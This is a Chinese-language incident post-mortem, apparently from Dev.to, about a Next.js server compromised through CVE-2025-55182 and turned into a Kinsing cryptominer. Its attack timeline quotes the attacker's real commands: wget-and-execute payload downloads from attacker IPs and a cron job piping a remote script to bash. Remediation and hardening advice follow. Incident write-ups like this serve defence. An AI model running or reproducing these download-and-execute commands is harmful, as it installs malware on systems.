我们被黑客入侵:CVE-2025-55182 如何把我们的 Next.js 应用变成加密挖矿
Source: Dev.to
TL;DR
我们的 Next.js 应用在 CVE‑2025‑55182 公布两天后被攻破。React Server Components 中的关键远程代码执行漏洞让攻击者部署了加密挖矿恶意软件。完整修复耗时约 15 分钟。
改变一切的通知
上午 8:30 – Slack 通知:“管理员面板宕机。网关错误遍布。”
上午 8:32 – PM2 进程列表显示频繁崩溃:
│ 0 │ boss-backend │ waiting │ 8450 │ 0% │
后端崩溃了 8,450 次。
发现:确凿证据
在调查崩溃日志时,安全监控标记出一个高 CPU 进程,已悄悄运行约 2 天:
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
kdevtmpfsi 是众所周知的加密矿工恶意软件特征。我们的服务器在不知情的情况下被用于挖矿。
漏洞概述:CVE‑2025‑55182
| 细节 | 值 |
|---|---|
| CVE 编号 | CVE‑2025‑55182 |
| 受影响组件 | React Server Components (RSC) |
| 受影响版本 | Next.js 15.x(补丁前),React 19.0‑19.2 |
| 我们的版本 | Next.js 15.5.0 ❌ |
| 攻击向量 | 网络,无需身份验证 |
| CVSS 评分 | 10.0(严重) |
为什么如此危险
缺陷位于 React Server Components 的 “Flight” 协议中,该协议负责服务器与客户端之间的序列化/反序列化。不安全的反序列化使攻击者能够构造恶意 HTTP 请求,在服务器上执行任意代码。
关键特性
- 无需身份验证
- 在默认配置下即可生效
- 已有公开利用代码
- 单个请求即可完成攻击
传统的外围防御(防火墙、限流、Fail2ban)无法阻止此类应用层漏洞。
我们是如何被入侵的(时间线)
2025 年 12 月 5 日
下午 12:30 – 第一次攻击尝试
wget http://45.76.155.14/vim -O /tmp/vim
chmod +x /tmp/vim
nohup /tmp/vim > /dev/null 2>&1
攻击者下载并执行了伪装成 “vim” 的恶意二进制文件。
下午 1:50 – 第二波(僵尸网络部署)
wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh
chmod 777 bins.sh
./bins.sh
下午 5:01 – 载荷投递(Kinsing 加密矿工)
wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf
2025 年 12 月 6 日
- 约午夜 –
kdevtmpfsi生成,CPU 占用 352 %(≈3.5 核心)。 - 下午 7:04 – 攻击者安装持久化 cron 任务。
2025 年 12 月 8 日
- 上午 5:33 – 系统失去响应,调查开始。
攻击者实际获得的内容
已安装的恶意软件
- Kinsing (
/tmp/kinsing) – 投放器/加载器 - Kdevtmpfsi (
/tmp/kdevtmpfsi) – 基于 XMRig 的 Monero 加密矿工 - Libsystem.so (
/tmp/libsystem.so) –LD_PRELOADrootkit(进程隐藏) - config.json (
/tmp/config.json) – 挖矿池配置
持久化机制
@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash
第二行每分钟执行一次,确保即使手动删除后恶意软件仍会恢复。
攻击者未得到的东西
- 未进行数据泄露 – 仅是 CPU 盗用。
- 未获取 root 权限 – 攻击者仅拥有用户级权限。
- 未横向移动 – 攻击局限于单台服务器。
我们的安全防护为何失效
| 安全措施 | 失效原因 |
|---|---|
| Fail2ban | 设计用于防止暴力破解,而非代码注入。 |
| UFW 防火墙 | 攻击通过合法的 HTTPS(443 端口)进入。 |
| Redis 认证 | 攻击未针对 Redis,而是使用 HTTP。 |
| 安全监控 | 检测到 kdevtmpfsi,但未识别为恶意软件。 |
根本原因:过度依赖外围安全,而缺乏强有力的应用层防护。
修复(15 分钟)
步骤 1:杀掉恶意进程
sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)
步骤 2:清除持久化
# 清理 crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -
# 删除恶意文件
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json
步骤 3:修补应用
cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend
步骤 4:验证
npm list next
# ✓ next@15.5.7 (patched version confirmed)
总耗时:约 15 分钟,从发现到完全恢复。
教训总结
出错之处
- 补丁延迟 – CVE 于 12 月 3 日披露,12 月 5 日被利用(窗口 2 天)。
- 检测不完整 – 安全监控未标记恶意进程。
- 缺乏出站监控 – 未捕获到与矿池的连接。
- 过度自信 – 误以为外围安全足够。
做对的事
- 已有监控 – PM2 提示重复崩溃。
- 响应迅速 – 在数分钟内完成全部遏制。
- 损失有限 – 仅资源被盗,无数据丢失。
- 自动化工具 – PM2 与 npm 加速了恢复过程。
如何自我防护
立即行动(立刻执行)
检查版本
npm list next
npm list react
npm list react-dom
如果使用 Next.js 15.x、16.x 或 React 19.0‑19.2,则存在风险。
升级到已修补的版本
npm install next@latest react@latest react-dom@latest
npm run build
- 订阅安全通告。
- 在 CI/CD 流水线中加入
npm audit。 - 启用 Dependabot、Snyk 或类似的自动警报。
- 关注 Vercel 的安全更新。
短期防护(本周内)
启用 WAF 规则
若使用 Cloudflare、AWS WAF 或 Vercel,打开其 RSC 防护规则——针对 CVE‑2025‑55182 的专用防御已可用。
在 CI/CD 中加入依赖扫描
npm audit --audit-level=high
若发现关键漏洞则使构建失败。
长期改进(本月内)
- 监控出站连接 – 记录并警报异常出站流量;矿池通常会连接到已知 IP。
- 实现 CPU/内存异常检测 – 当进程使用率超出正常阈值时触发告警。
- 采用应用层安全测试 – 包括模糊测试和安全反序列化检查,针对 React Server Components。
- 定期更新第三方库 – 自动化版本检查并及时应用安全补丁。